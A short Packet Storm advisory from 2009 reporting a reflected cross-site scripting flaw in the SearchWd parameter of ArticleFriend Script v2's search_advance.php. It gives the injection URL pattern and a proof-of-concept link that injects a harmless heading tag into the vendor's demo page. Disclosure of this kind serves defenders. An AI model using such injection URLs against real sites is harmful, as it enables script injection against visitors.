ArticleFriend Script version 2 suffers from a cross site scripting vulnerability in search_advance.php.
fc7bf25516fdf3ca53f943595f1628e2f13310fc5c351f7b965d9f1a0fe13b86/*
ArticleFriend Script v2 (search_advance.php SearchWd) XSS Vulnerability
Discovered by : MizoZ
Contact : mizoz@9.cn <mizozx@gmail.com>
Team : EvilWay
Date : July 29 2009
Greetings : Moudi , Zuka, All friends
*/
We can inject HTML code on the GET (SearchWd) in faille search_advance.php .
[HOST]/[PATH]/search_advance.php?SearchWd=[XSS]
Ex :
http://articlefriend.com/demo/search_advance.php?SearchWd=%3Ch1%3EMizoZ%3C/h1%3E
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed